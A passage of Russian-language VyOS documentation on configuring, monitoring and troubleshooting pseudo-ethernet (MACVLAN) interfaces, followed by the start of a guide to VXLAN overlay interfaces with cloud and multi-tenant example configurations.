set interfaces pseudo-ethernet yc-db address 10.128.0.21/24
set interfaces pseudo-ethernet yc-db description 'Database IP in Yandex Cloud'

# NAT для публичного доступа (если есть внешний IP)
set nat destination rule 100 inbound-interface name eth0
set nat destination rule 100 destination port 80
set nat destination rule 100 protocol tcp
set nat destination rule 100 translation address 10.128.0.20
set nat destination rule 100 translation port 80

set nat destination rule 101 inbound-interface name eth0
set nat destination rule 101 destination port 3306
set nat destination rule 101 protocol tcp
set nat destination rule 101 translation address 10.128.0.21
set nat destination rule 101 translation port 3306

commit
save
```

**Важно для Yandex Cloud**:
- Убедитесь, что security group разрешает трафик на используемых портах
- При использовании множественных MAC адресов, проверьте настройки сети в консоли Yandex Cloud
- Некоторые конфигурации могут требовать включения IP forwarding в настройках подсети

### VK Cloud (Mail.ru Cloud)

Аналогичная конфигурация для VK Cloud:

```bash
# Основной интерфейс VK Cloud
# eth0: 10.0.1.10/24

# MACVLAN интерфейсы для микросервисов
set interfaces pseudo-ethernet vk-api source-interface eth0
set interfaces pseudo-ethernet vk-api address 10.0.1.20/24
set interfaces pseudo-ethernet vk-api description 'API Service - VK Cloud'

set interfaces pseudo-ethernet vk-frontend source-interface eth0
set interfaces pseudo-ethernet vk-frontend address 10.0.1.21/24
set interfaces pseudo-ethernet vk-frontend description 'Frontend - VK Cloud'

set interfaces pseudo-ethernet vk-backend source-interface eth0
set interfaces pseudo-ethernet vk-backend address 10.0.1.22/24
set interfaces pseudo-ethernet vk-backend description 'Backend - VK Cloud'

# Firewall для микросервисной архитектуры
set firewall ipv4 forward filter rule 200 action accept
set firewall ipv4 forward filter rule 200 source address 10.0.1.21
set firewall ipv4 forward filter rule 200 destination address 10.0.1.20
set firewall ipv4 forward filter rule 200 destination port 8080
set firewall ipv4 forward filter rule 200 protocol tcp

commit
save
```

## Мониторинг и диагностика

### Проверка состояния интерфейсов

```bash
# Список всех pseudo-ethernet интерфейсов
show interfaces pseudo-ethernet

# Конкретный интерфейс
show interfaces pseudo-ethernet peth0

# Детальная информация
show interfaces pseudo-ethernet peth0 detail

# Краткая информация
show interfaces pseudo-ethernet peth0 brief
```

### Статистика интерфейса

```bash
# Статистика трафика
show interfaces pseudo-ethernet peth0 statistics

# Счетчики пакетов
show interfaces pseudo-ethernet peth0 counters

# Сброс счетчиков
clear interfaces pseudo-ethernet peth0 counters
```

### MAC адреса

```bash
# Показать MAC адрес интерфейса
show interfaces pseudo-ethernet peth0 | grep "Hardware address"

# ARP таблица
show arp interface peth0

# В операционной системе
ip link show peth0
```

### Мониторинг трафика

```bash
# Мониторинг в реальном времени
monitor interfaces pseudo-ethernet peth0 traffic

# Capture трафика
monitor traffic interface peth0

# Фильтрованный capture
monitor traffic interface peth0 filter 'port 80 or port 443'

# Сохранение в файл
monitor traffic interface peth0 save /tmp/peth0-capture.pcap
```

### Проверка родительского интерфейса

```bash
# Убедиться, что source интерфейс активен
show interfaces ethernet eth0

# Физическое состояние
show interfaces ethernet eth0 physical

# Проверка связи parent-child
ip link show type macvlan
```

## Устранение неполадок

### Интерфейс не поднимается

**Проблема**: Pseudo-ethernet интерфейс находится в состоянии down.

**Возможные причины**:
1. Родительский интерфейс (source-interface) находится в состоянии down
2. Неправильная конфигурация source-interface
3. Конфликт MAC адресов

**Диагностика**:
```bash
# Проверить состояние parent интерфейса
show interfaces ethernet eth0

# Проверить конфигурацию
show configuration commands | grep pseudo-ethernet

# Проверить kernel messages
sudo dmesg | grep macvlan

# Проверить состояние в системе
ip link show peth0
```

**Решение**:
```bash
# Убедиться, что parent интерфейс включен
delete interfaces ethernet eth0 disable
commit

# Пересоздать pseudo-ethernet интерфейс
delete interfaces pseudo-ethernet peth0
commit

set interfaces pseudo-ethernet peth0 source-interface eth0
set interfaces pseudo-ethernet peth0 address 192.168.1.1/24
commit
save
```

### Нет сетевой связности

**Проблема**: Интерфейс поднят, но нет связности.

**Возможные причины**:
1. Коммутатор блокирует множественные MAC адреса на порту
2. Firewall блокирует трафик
3. Неправильная маршрутизация
4. Проблемы с ARP

**Диагностика**:
```bash
# Проверить ARP
show arp

# Проверить маршруты
show ip route

# Ping с source адресом
ping 192.168.1.100 source-address 192.168.1.1

# Проверить firewall
show firewall

# tcpdump на интерфейсе
sudo tcpdump -i peth0 -n
```

**Решение для port security на коммутаторе**:

Cisco пример:
```cisco
interface GigabitEthernet0/1
 description VyOS with MACVLAN
 switchport mode access
 switchport access vlan 10
 spanning-tree portfast
 ! Разрешить множественные MAC адреса
 switchport port-security maximum 10
 switchport port-security
```

HP/Aruba пример:
```
interface 1
 name "VyOS MACVLAN"
 untagged vlan 10
 ! Отключить port security или увеличить лимит
```

### Конфликт MAC адресов

**Проблема**: Дублирующиеся MAC адреса в сети.

**Диагностика**:
```bash
# Показать MAC адреса всех интерфейсов
show interfaces | grep "Hardware address"

# Проверить в системе
ip link show | grep "link/ether"

# Лог системы
show log | match "duplicate"
```

**Решение**:
```bash
# Назначить уникальный MAC вручную
set interfaces pseudo-ethernet peth0 mac '00:50:56:01:23:45'
set interfaces pseudo-ethernet peth1 mac '00:50:56:01:23:46'
commit
```

### Проблемы в виртуализированной среде

**Проблема**: MACVLAN не работает в VMware или другой виртуализированной среде.

**Причина**: Виртуальный коммутатор блокирует множественные MAC адреса по умолчанию.

**Решение для VMware**:

1. Включить promiscuous mode на vSwitch:
   ```
   vSwitch -> Edit Settings -> Security
   Promiscuous Mode: Accept
   MAC Address Changes: Accept
   Forged Transmits: Accept
   ```

2. Или использовать Port Group с нужными настройками:
   ```
   Port Group -> Security
   Promiscuous Mode: Accept
   ```

**Решение для KVM/QEMU**:
```xml
<!-- Включить promiscuous mode в libvirt -->
<interface type='bridge'>
  <mac address='52:54:00:12:34:56'/>
  <source bridge='br0'/>
  <model type='virtio'/>
  <virtualport type='openvswitch'/>
  <!-- Разрешить множественные MAC -->
</interface>
```

### Невозможно пинговать с самого роутера

**Проблема**: Ping на адрес pseudo-ethernet интерфейса с самого VyOS не работает.

**Объяснение**: Это **ожидаемое поведение** MACVLAN. Из документации:
- Pseudo-Ethernet интерфейсы нельзя пинговать с хост-системы
- Ethernet фреймы не пересылаются между MACVLAN интерфейсами на одном родительском порту

**Это не баг, а особенность архитектуры MACVLAN**.

**Workaround** (если действительно нужна локальная связность):
```bash
# Использовать bridge вместо MACVLAN
set interfaces bridge br0
set interfaces bridge br0 member interface eth0
set interfaces ethernet eth0 address 192.168.1.1/24
```

### Производительность ниже ожидаемой

**Проблема**: Низкая производительность MACVLAN интерфейсов.

**Диагностика**:
```bash
# Проверить статистику ошибок
show interfaces pseudo-ethernet peth0 statistics

# Проверить CPU usage
show system resources

# Проверить offload настройки parent интерфейса
ethtool -k eth0
```

**Решение**:
```bash
# Включить offload на parent интерфейсе
set interfaces ethernet eth0 offload gro
set interfaces ethernet eth0 offload gso
set interfaces ethernet eth0 offload tso
commit

# Увеличить ring buffer
set interfaces ethernet eth0 ring-buffer rx 1024
set interfaces ethernet eth0 ring-buffer tx 1024
commit
```

## Операционные команды

### Управление интерфейсами

```bash
# Включить интерфейс
delete interfaces pseudo-ethernet peth0 disable
commit

# Отключить интерфейс
set interfaces pseudo-ethernet peth0 disable
commit

# Удалить интерфейс
delete interfaces pseudo-ethernet peth0
commit
```

### Сброс и перезагрузка

```bash
# Сброс счетчиков
clear interfaces pseudo-ethernet peth0 counters

# Перезагрузка интерфейса (down/up)
set interfaces pseudo-ethernet peth0 disable
commit
delete interfaces pseudo-ethernet peth0 disable
commit
```

### Тестирование связности

```bash
# Ping с указанием source
ping 192.168.1.100 source-address 192.168.1.1

# Traceroute с source
traceroute 8.8.8.8 source-address 192.168.1.1

# Проверка маршрута
show ip route 192.168.1.0/24
```

## Примеры полных конфигураций

### Пример 1: Лабораторная среда с множественными сетями

```bash
configure

# Физический интерфейс
set interfaces ethernet eth0 description 'Physical uplink'
set interfaces ethernet eth0 address dhcp

# Лабораторная сеть 1 - Development
set interfaces pseudo-ethernet dev-net source-interface eth1
set interfaces pseudo-ethernet dev-net address 10.10.1.1/24
set interfaces pseudo-ethernet dev-net description 'Development Network'

# Лабораторная сеть 2 - Staging
set interfaces pseudo-ethernet stage-net source-interface eth1
set interfaces pseudo-ethernet stage-net address 10.10.2.1/24
set interfaces pseudo-ethernet stage-net description 'Staging Network'

# Лабораторная сеть 3 - Production
set interfaces pseudo-ethernet prod-net source-interface eth1
set interfaces pseudo-ethernet prod-net address 10.10.3.1/24
set interfaces pseudo-ethernet prod-net description 'Production Network'

# DHCP для каждой сети
set service dhcp-server shared-network-name DEV subnet 10.10.1.0/24 option default-router 10.10.1.1
set service dhcp-server shared-network-name DEV subnet 10.10.1.0/24 range 0 start 10.10.1.100
set service dhcp-server shared-network-name DEV subnet 10.10.1.0/24 range 0 stop 10.10.1.200

set service dhcp-server shared-network-name STAGE subnet 10.10.2.0/24 option default-router 10.10.2.1
set service dhcp-server shared-network-name STAGE subnet 10.10.2.0/24 range 0 start 10.10.2.100
set service dhcp-server shared-network-name STAGE subnet 10.10.2.0/24 range 0 stop 10.10.2.200

set service dhcp-server shared-network-name PROD subnet 10.10.3.0/24 option default-router 10.10.3.1
set service dhcp-server shared-network-name PROD subnet 10.10.3.0/24 range 0 start 10.10.3.100
set service dhcp-server shared-network-name PROD subnet 10.10.3.0/24 range 0 stop 10.10.3.200

# NAT для доступа в интернет
set nat source rule 100 outbound-interface name eth0
set nat source rule 100 source address 10.10.0.0/16
set nat source rule 100 translation address masquerade

# Firewall изоляция
set firewall ipv4 forward filter rule 100 action accept
set firewall ipv4 forward filter rule 100 state established
set firewall ipv4 forward filter rule 100 state related

# Development → Internet (разрешено)
set firewall ipv4 forward filter rule 110 action accept
set firewall ipv4 forward filter rule 110 source address 10.10.1.0/24
set firewall ipv4 forward filter rule 110 outbound-interface name eth0

# Staging → Internet (разрешено)
set firewall ipv4 forward filter rule 120 action accept
set firewall ipv4 forward filter rule 120 source address 10.10.2.0/24
set firewall ipv4 forward filter rule 120 outbound-interface name eth0

# Production → Internet (разрешено)
set firewall ipv4 forward filter rule 130 action accept
set firewall ipv4 forward filter rule 130 source address 10.10.3.0/24
set firewall ipv4 forward filter rule 130 outbound-interface name eth0

# Блокировать трафик между средами
set firewall ipv4 forward filter rule 900 action drop
set firewall ipv4 forward filter rule 900 source address 10.10.1.0/24
set firewall ipv4 forward filter rule 900 destination address 10.10.2.0/24

set firewall ipv4 forward filter rule 901 action drop
set firewall ipv4 forward filter rule 901 source address 10.10.1.0/24
set firewall ipv4 forward filter rule 901 destination address 10.10.3.0/24

commit
save
exit
```

### Пример 2: Контейнерная платформа

```bash
configure

# Основной интерфейс
set interfaces ethernet eth1 description 'Container network uplink'

# Container 1 - Web Frontend
set interfaces pseudo-ethernet cnt-web source-interface eth1
set interfaces pseudo-ethernet cnt-web address 172.20.1.10/24
set interfaces pseudo-ethernet cnt-web mac '02:00:00:00:01:10'
set interfaces pseudo-ethernet cnt-web description 'Web Frontend Container'

# Container 2 - Application Backend
set interfaces pseudo-ethernet cnt-app source-interface eth1
set interfaces pseudo-ethernet cnt-app address 172.20.1.20/24
set interfaces pseudo-ethernet cnt-app mac '02:00:00:00:01:20'
set interfaces pseudo-ethernet cnt-app description 'App Backend Container'

# Container 3 - Database
set interfaces pseudo-ethernet cnt-db source-interface eth1
set interfaces pseudo-ethernet cnt-db address 172.20.1.30/24
set interfaces pseudo-ethernet cnt-db mac '02:00:00:00:01:30'
set interfaces pseudo-ethernet cnt-db description 'Database Container'

# Container 4 - Cache (Redis)
set interfaces pseudo-ethernet cnt-cache source-interface eth1
set interfaces pseudo-ethernet cnt-cache address 172.20.1.40/24
set interfaces pseudo-ethernet cnt-cache mac '02:00:00:00:01:40'
set interfaces pseudo-ethernet cnt-cache description 'Cache Container'

# Firewall: микросервисная архитектура
# Web → App (разрешено)
set firewall ipv4 forward filter rule 200 action accept
set firewall ipv4 forward filter rule 200 source address 172.20.1.10
set firewall ipv4 forward filter rule 200 destination address 172.20.1.20
set firewall ipv4 forward filter rule 200 destination port 8080
set firewall ipv4 forward filter rule 200 protocol tcp

# App → Database (разрешено)
set firewall ipv4 forward filter rule 201 action accept
set firewall ipv4 forward filter rule 201 source address 172.20.1.20
set firewall ipv4 forward filter rule 201 destination address 172.20.1.30
set firewall ipv4 forward filter rule 201 destination port 5432
set firewall ipv4 forward filter rule 201 protocol tcp

# App → Cache (разрешено)
set firewall ipv4 forward filter rule 202 action accept
set firewall ipv4 forward filter rule 202 source address 172.20.1.20
set firewall ipv4 forward filter rule 202 destination address 172.20.1.40
set firewall ipv4 forward filter rule 202 destination port 6379
set firewall ipv4 forward filter rule 202 protocol tcp

# Web → Database (запрещено)
set firewall ipv4 forward filter rule 210 action drop
set firewall ipv4 forward filter rule 210 source address 172.20.1.10
set firewall ipv4 forward filter rule 210 destination address 172.20.1.30

commit
save
exit
```

### Пример 3: Мультитенантная среда

```bash
configure

# Физический интерфейс
set interfaces ethernet eth2 description 'Multi-tenant uplink'

# Tenant 1
set interfaces pseudo-ethernet tenant1 source-interface eth2
set interfaces pseudo-ethernet tenant1 address 10.100.1.1/24
set interfaces pseudo-ethernet tenant1 mac '02:01:00:00:00:01'
set interfaces pseudo-ethernet tenant1 description 'Tenant 1 Network'

# Tenant 2
set interfaces pseudo-ethernet tenant2 source-interface eth2
set interfaces pseudo-ethernet tenant2 address 10.100.2.1/24
set interfaces pseudo-ethernet tenant2 mac '02:01:00:00:00:02'
set interfaces pseudo-ethernet tenant2 description 'Tenant 2 Network'

# Tenant 3
set interfaces pseudo-ethernet tenant3 source-interface eth2
set interfaces pseudo-ethernet tenant3 address 10.100.3.1/24
set interfaces pseudo-ethernet tenant3 mac '02:01:00:00:00:03'
set interfaces pseudo-ethernet tenant3 description 'Tenant 3 Network'

# VRF для каждого tenant (полная изоляция)
set vrf name TENANT1 table 101
set vrf name TENANT2 table 102
set vrf name TENANT3 table 103

set interfaces pseudo-ethernet tenant1 vrf TENANT1
set interfaces pseudo-ethernet tenant2 vrf TENANT2
set interfaces pseudo-ethernet tenant3 vrf TENANT3

# DHCP для каждого tenant
set service dhcp-server shared-network-name T1 subnet 10.100.1.0/24 option default-router 10.100.1.1
set service dhcp-server shared-network-name T1 subnet 10.100.1.0/24 range 0 start 10.100.1.100
set service dhcp-server shared-network-name T1 subnet 10.100.1.0/24 range 0 stop 10.100.1.200

set service dhcp-server shared-network-name T2 subnet 10.100.2.0/24 option default-router 10.100.2.1
set service dhcp-server shared-network-name T2 subnet 10.100.2.0/24 range 0 start 10.100.2.100
set service dhcp-server shared-network-name T2 subnet 10.100.2.0/24 range 0 stop 10.100.2.200

set service dhcp-server shared-network-name T3 subnet 10.100.3.0/24 option default-router 10.100.3.1
set service dhcp-server shared-network-name T3 subnet 10.100.3.0/24 range 0 start 10.100.3.100
set service dhcp-server shared-network-name T3 subnet 10.100.3.0/24 range 0 stop 10.100.3.200

# Bandwidth limiting для каждого tenant
set traffic-policy shaper TENANT1-LIMIT bandwidth 100mbit
set traffic-policy shaper TENANT2-LIMIT bandwidth 50mbit
set traffic-policy shaper TENANT3-LIMIT bandwidth 200mbit

set interfaces pseudo-ethernet tenant1 traffic-policy out TENANT1-LIMIT
set interfaces pseudo-ethernet tenant2 traffic-policy out TENANT2-LIMIT
set interfaces pseudo-ethernet tenant3 traffic-policy out TENANT3-LIMIT

commit
save
exit
```

## Лучшие практики

1. **Планирование**:
   - Документируйте назначение каждого MACVLAN интерфейса
   - Используйте понятные имена интерфейсов (не просто peth0, peth1)
   - Планируйте схему MAC адресов заранее

2. **MAC адреса**:
   - Используйте MAC адреса из locally administered диапазона: начинаются с 02:, 06:, 0A:, 0E:
   - Избегайте конфликтов с существующими MAC адресами в сети
   - Документируйте назначенные MAC адреса

3. **Безопасность**:
   - Используйте firewall для контроля трафика между MACVLAN интерфейсами
   - Применяйте source validation для предотвращения IP spoofing
   - Изолируйте критичные сервисы в отдельных VRF

4. **Производительность**:
   - Включайте hardware offload на parent интерфейсе
   - Используйте jumbo frames если сеть поддерживает
   - Мониторьте использование CPU и network throughput

5. **Совместимость**:
   - Проверяйте поддержку множественных MAC адресов на коммутаторе
   - В виртуализированных средах включайте promiscuous mode
   - Тестируйте перед развертыванием в production

6. **Мониторинг**:
   - Регулярно проверяйте состояние интерфейсов
   - Мониторьте статистику ошибок
   - Настройте алерты на состояние down

7. **Документация**:
   - Используйте description для всех интерфейсов
   - Документируйте топологию сети
   - Ведите инвентаризацию MAC адресов

8. **Тестирование**:
   - Всегда тестируйте в лабораторной среде
   - Проверяйте connectivity после настройки
   - Тестируйте failover scenarios

9. **Ограничения**:
   - Помните, что MACVLAN интерфейсы нельзя пинговать с самого роутера
   - Учитывайте отсутствие коммуникации между MACVLAN интерфейсами на одном parent
   - Планируйте альтернативы если нужна локальная связность

10. **Backup**:
    - Регулярно сохраняйте конфигурацию
    - Храните копии в версионной системе
    - Документируйте изменения

## Сравнение с альтернативами

### MACVLAN vs VLAN

| Характеристика | MACVLAN | VLAN (802.1Q) |
|----------------|---------|---------------|
| MAC адреса | Уникальный для каждого интерфейса | Один MAC, множество VLAN |
| Тегирование | Не требуется | Требуется 802.1Q |
| Поддержка коммутатора | Может требовать настройки port security | Стандартная поддержка |
| Количество | Ограничено MAC таблицей | Ограничено 4096 VLAN |
| Use case | Виртуализация, тестирование | Сегментация сети |
| Overhead | Минимальный | 4 байта на тег |

### MACVLAN vs Bridge

| Характеристика | MACVLAN | Bridge |
|----------------|---------|--------|
| Производительность | Высокая (kernel level) | Средняя (STP overhead) |
| Изоляция | Нет связности между sub-interfaces | Полная связность |
| Ping от хоста | Невозможен | Возможен |
| Use case | Изоляция, виртуализация | Объединение интерфейсов |
| Сложность | Простая | Средняя |

### MACVLAN vs VRF

| Характеристика | MACVLAN | VRF |
|----------------|---------|-----|
| Уровень изоляции | L2 (MAC level) | L3 (Routing table) |
| Routing | Общая таблица (если не используется VRF) | Отдельная таблица |
| Use case | Множественные IP на одном порту | Multi-tenancy routing |
| Производительность | Высокая | Средняя |
| Совместимость | Может быть ограничена | Широкая |

**Рекомендации выбора**:
- **MACVLAN**: виртуализация, контейнеры, тестирование, множественные IP
- **VLAN**: стандартная сегментация сети, работа с коммутаторами
- **Bridge**: объединение интерфейсов, нужна связность между портами
- **VRF**: мультитенантность, полная изоляция routing таблиц

## Заключение

Pseudo-Ethernet (MACVLAN) интерфейсы в VyOS предоставляют мощный и гибкий механизм для создания множественных виртуальных интерфейсов на базе одного физического порта. Они особенно полезны в следующих сценариях:

- **Виртуализация и контейнеры** - предоставление изолированных сетевых интерфейсов
- **Тестирование** - создание лабораторных сред без дополнительного оборудования
- **Обход ограничений** - работа с сетями, где VLAN ограничены
- **Микросервисы** - изоляция сервисов с отдельными IP адресами
- **Multi-tenancy** - разделение сетевых ресурсов между клиентами

При использовании MACVLAN важно помнить об ограничениях:
- Невозможность ping с хост-системы
- Отсутствие коммуникации между MACVLAN интерфейсами на одном parent
- Возможные проблемы совместимости с некоторым сетевым оборудованием

Правильное планирование, конфигурация и мониторинг MACVLAN интерфейсов позволяют эффективно использовать эту технологию в различных сетевых сценариях, обеспечивая гибкость и производительность при минимальных накладных расходах.

## Следующие шаги

- [Ethernet интерфейсы](/docs/vyos/interfaces/vyos-ethernet/) - базовая конфигурация физических интерфейсов
- [VLAN интерфейсы](/docs/vyos/interfaces/vyos-vlan/) - настройка 802.1Q VLAN
- [Bridge интерфейсы](/docs/vyos/interfaces/vyos-bridge/) - объединение интерфейсов в мост
- [VRF](/docs/vyos/vrf/) - изоляция routing таблиц
- [Firewall](/docs/vyos/firewall/) - контроль трафика между интерфейсами


---

# VXLAN интерфейсы в VyOS

Source: https://opennix.org/docs/vyos/interfaces/vyos-vxlan/


VXLAN (Virtual Extensible LAN) - это технология сетевой виртуализации для создания overlay сетей поверх существующей IP инфраструктуры.

## Обзор

VXLAN решает проблемы масштабирования традиционных VLAN сетей:
- Инкапсулирует Layer 2 Ethernet фреймы в Layer 4 UDP датаграммы
- Использует 24-битный VNI (VXLAN Network Identifier) вместо 12-битного VLAN ID
- Поддерживает до 16 миллионов логических сетей (против 4096 VLAN)
- Работает поверх существующей IP сети (underlay)
- Позволяет растягивать L2 сегменты через L3 границы

**Ключевые компоненты**:
- **VNI** (VXLAN Network Identifier) - идентификатор виртуальной сети (24 бита)
- **VTEP** (VXLAN Tunnel Endpoint) - точка инкапсуляции/декапсуляции
- **Underlay network** - физическая IP сеть для передачи инкапсулированного трафика
- **Overlay network** - виртуальная L2 сеть поверх underlay

**UDP порт**:
- VyOS по умолчанию: **8472**
- IANA стандарт: **4789**

**Применение**:
- Виртуализация сетей в облачных провайдерах
- Мультитенантные среды
- Data center interconnect (DCI)
- Связывание географически распределенных L2 доменов
- Kubernetes/Docker overlay сети

## Базовая конфигурация

### Создание VXLAN интерфейса

```
set interfaces vxlan vxlan100 vni 100
commit
```

Минимальная конфигурация - только VNI (идентификатор сети).

### Назначение IP-адреса

```
set interfaces vxlan vxlan100 address 10.0.100.1/24
commit
```

### Описание интерфейса

```
set interfaces vxlan vxlan100 description 'VXLAN Overlay Network 100'
commit
```

### MTU

Рекомендуется уменьшить MTU из-за overhead от инкапсуляции:

```
set interfaces vxlan vxlan100 mtu 1450
commit
```

VXLAN добавляет 50 байт overhead:
- 20 байт внешний IP header
- 8 байт UDP header
- 8 байт VXLAN header
- 14 байт внешний Ethernet header

Для стандартного MTU 1500:
- VXLAN MTU = 1500 - 50 = 1450

Для jumbo frames (9000):
- VXLAN MTU = 9000 - 50 = 8950

## Режимы работы VXLAN

### 1. Multicast VXLAN

Использует multicast группы для автоматического обнаружения VTEP и рассылки BUM трафика (Broadcast, Unknown unicast, Multicast).

**Конфигурация**:

```
set interfaces vxlan vxlan100 vni 100
set interfaces vxlan vxlan100 source-interface eth0
set interfaces vxlan vxlan100 mtu 1450
set interfaces vxlan vxlan100 group 239.0.0.100
commit
```

**Параметры**:
- `vni` - идентификатор VXLAN сети
- `source-interface` - интерфейс для underlay трафика
- `group` - multicast группа для данного VNI
- `mtu` - максимальный размер пакета

**Как работает**:
1. BUM трафик отправляется в multicast группу
2. Все VTEP в группе получают трафик
3. VTEP изучают MAC-адреса и строят FDB (Forwarding Database)
4. Unicast трафик идет напрямую между VTEP

**Требования**:
- Underlay сеть должна поддерживать multicast (PIM)
- Не все облачные провайдеры поддерживают multicast

### 2. Unicast VXLAN (Point-to-Point)

Явное указание удаленного VTEP через IP-адрес. Не требует multicast.

**Конфигурация**:

```
set interfaces vxlan vxlan100 vni 100
set interfaces vxlan vxlan100 source-interface eth0
set interfaces vxlan vxlan100 remote 203.0.113.10
set interfaces vxlan vxlan100 mtu 1450
commit
```

**Параметры**:
- `remote` - IP-адрес удаленного VTEP

**Как работает**:
- Весь трафик отправляется на указанный remote IP
- Подходит для point-to-point соединений
- Не масштабируется для большого количества VTEP

**Преимущества**:
- Работает в сетях без multicast (большинство облаков)
- Простая конфигурация для малого количества узлов
- Детерминированное поведение

**Недостатки**:
- Не поддерживает автоматическое обнаружение VTEP
- Требует ручной настройки для каждой пары VTEP
- Плохо масштабируется

### 3. Unicast VXLAN с несколькими remote endpoints

Для связи с несколькими VTEP используйте FDB (Forwarding Database) или bridge с fdb entries.

```
set interfaces vxlan vxlan100 vni 100
set interfaces vxlan vxlan100 source-interface eth0

set interfaces bridge br100
set interfaces bridge br100 member interface vxlan100

# Статические FDB записи (MAC к VTEP mapping)
# Синтаксис зависит от версии VyOS
# Альтернативно используйте BGP EVPN для автоматического распространения
commit
```

### 4. VXLAN через source-address

Вместо source-interface можно указать source IP напрямую:

```
set interfaces vxlan vxlan100 vni 100
set interfaces vxlan vxlan100 source-address 198.51.100.5
set interfaces vxlan vxlan100 remote 203.0.113.10
commit
```

Полезно когда у вас несколько интерфейсов или loopback адрес.

## VLAN-to-VNI Mapping (Single VXLAN Device)

Single VXLAN Device (SVD) позволяет использовать один VXLAN интерфейс для множественных VNI, сопоставляя VLAN с VNI.

### Конфигурация SVD

```
# VXLAN интерфейс с базовым VNI
set interfaces vxlan vxlan0 vni 10000
set interfaces vxlan vxlan0 source-interface eth0

# Bridge для VLAN management
set interfaces bridge br0
set interfaces bridge br0 member interface vxlan0
set interfaces bridge br0 enable-vlan

# VLAN-to-VNI mapping
set interfaces bridge br0 member interface vxlan0 vlan-to-vni 10 vni 10010
set interfaces bridge br0 member interface vxlan0 vlan-to-vni 20 vni 10020
set interfaces bridge br0 member interface vxlan0 vlan-to-vni 30 vni 10030

# Physical interface для локальных VLANs
set interfaces ethernet eth1 vif 10
set interfaces ethernet eth1 vif 20
set interfaces ethernet eth1 vif 30

set interfaces bridge br0 member interface eth1.10 allowed-vlan 10
set interfaces bridge br0 member interface eth1.20 allowed-vlan 20
set interfaces bridge br0 member interface eth1.30 allowed-vlan 30

commit
```

**Как работает**:
- VLAN 10 локально маппится в VNI 10010
- VLAN 20 локально маппится в VNI 10020
- VLAN 30 локально маппится в VNI 10030
- Один VXLAN интерфейс обслуживает все VNI
- Bridge выполняет VLAN-aware switching

**Преимущества**:
- Масштабирование до тысяч VNI на одном интерфейсе
- Упрощенная конфигурация
- Меньше системных ресурсов

## Примеры конфигурации

### Point-to-Point VXLAN (Yandex Cloud)

Соединение двух VyOS в разных подсетях Yandex Cloud:

**Узел 1** (192.0.2.10):
```
# Underlay конфигурация
set interfaces ethernet eth0 address 192.0.2.10/24

# VXLAN tunnel
set interfaces vxlan vxlan100 vni 100
set interfaces vxlan vxlan100 source-address 192.0.2.10
set interfaces vxlan vxlan100 remote 192.0.2.20
set interfaces vxlan vxlan100 mtu 1450

# Overlay адрес
set interfaces vxlan vxlan100 address 10.100.0.1/24
set interfaces vxlan vxlan100 description 'VXLAN to Node2'

commit
```

**Узел 2** (192.0.2.20):
```
# Underlay конфигурация
set interfaces ethernet eth0 address 192.0.2.20/24

# VXLAN tunnel
set interfaces vxlan vxlan100 vni 100
set interfaces vxlan vxlan100 source-address 192.0.2.20
set interfaces vxlan vxlan100 remote 192.0.2.10
set interfaces vxlan vxlan100 mtu 1450

# Overlay адрес
set interfaces vxlan vxlan100 address 10.100.0.2/24
set interfaces vxlan vxlan100 description 'VXLAN to Node1'

commit
```

Теперь узлы могут общаться через 10.100.0.0/24 overlay сеть.

### VXLAN Bridge для растягивания L2 (VK Cloud)

Растягивание L2 домена между двумя датацентрами:

**Site A** (198.51.100.10):
```
# VXLAN интерфейс
set interfaces vxlan vxlan200 vni 200
set interfaces vxlan vxlan200 source-address 198.51.100.10
set interfaces vxlan vxlan200 remote 203.0.113.10
set interfaces vxlan vxlan200 mtu 1450

# Bridge с локальным интерфейсом
set interfaces bridge br200
set interfaces bridge br200 member interface vxlan200
set interfaces bridge br200 member interface eth1
set interfaces bridge br200 description 'Stretched L2 VLAN 200'

# IP для inter-site routing (опционально)
set interfaces bridge br200 address 10.200.0.1/24

commit
```

**Site B** (203.0.113.10):
```
# VXLAN интерфейс
set interfaces vxlan vxlan200 vni 200
set interfaces vxlan vxlan200 source-address 203.0.113.10
set interfaces vxlan vxlan200 remote 198.51.100.10
set interfaces vxlan vxlan200 mtu 1450

# Bridge с локальным интерфейсом
set interfaces bridge br200
set interfaces bridge br200 member interface vxlan200
set interfaces bridge br200 member interface eth1
set interfaces bridge br200 description 'Stretched L2 VLAN 200'

# IP для inter-site routing (опционально)
set interfaces bridge br200 address 10.200.0.2/24

commit
```

Устройства в eth1 на обоих сайтах находятся в одном L2 домене.

### Multi-tenant VXLAN (облачный провайдер)

Изоляция трафика разных клиентов через отдельные VNI:

```
# Клиент A - VNI 1000
set interfaces vxlan vxlan1000 vni 1000
set interfaces vxlan vxlan1000 source-interface eth0
set interfaces vxlan vxlan1000 remote 192.0.2.20

set interfaces bridge brA
set interfaces bridge brA member interface vxlan1000
set interfaces bridge brA member interface eth1.100
set interfaces bridge brA address 10.10.0.1/24
set interfaces bridge brA description 'Tenant A'

# Клиент B - VNI 2000
set interfaces vxlan vxlan2000 vni 2000
set interfaces vxlan vxlan2000 source-interface eth0
set interfaces vxlan vxlan2000 remote 192.0.2.20

set interfaces bridge brB
set interfaces bridge brB member interface vxlan2000
set interfaces bridge brB member interface eth1.200
set interfaces bridge brB address 10.20.0.1/24
set interfaces bridge brB description 'Tenant B'

# Клиент C - VNI 3000
set interfaces vxlan vxlan3000 vni 3000
set interfaces vxlan vxlan3000 source-interface eth0
set interfaces vxlan vxlan3000 remote 192.0.2.20

set interfaces bridge brC
set interfaces bridge brC member interface vxlan3000
set interfaces bridge brC member interface eth1.300
set interfaces bridge brC address 10.30.0.1/24
set interfaces bridge brC description 'Tenant C'

commit
```

Каждый клиент полностью изолирован на L2 уровне через отдельный VNI.

### VXLAN Multicast (on-premises)

Для on-premises датацентров с поддержкой multicast:

```
# VXLAN с multicast
set interfaces vxlan vxlan100 vni 100
set interfaces vxlan vxlan100 source-interface eth0
set interfaces vxlan vxlan100 group 239.1.1.100
set interfaces vxlan vxlan100 mtu 1450

# Bridge для локального L2
set interfaces bridge br100
set interfaces bridge br100 member interface vxlan100
set interfaces bridge br100 member interface eth1
set interfaces bridge br100 member interface eth2

commit
```

Автоматическое обнаружение VTEP через multicast группу 239.1.1.100.

### VXLAN через loopback (рекомендуется для продакшна)

Использование loopback адреса для стабильности:

```
# Loopback интерфейс
set interfaces loopback lo address 198.51.100.1/32

# VXLAN с source-address на loopback
set interfaces vxlan vxlan100 vni 100
set interfaces vxlan vxlan100 source-address 198.51.100.1
set interfaces vxlan vxlan100 remote 203.0.113.1
set interfaces vxlan vxlan100 mtu 1450

# Маршрут к remote loopback
set protocols static route 203.0.113.1/32 next-hop 192.0.2.1

commit
```

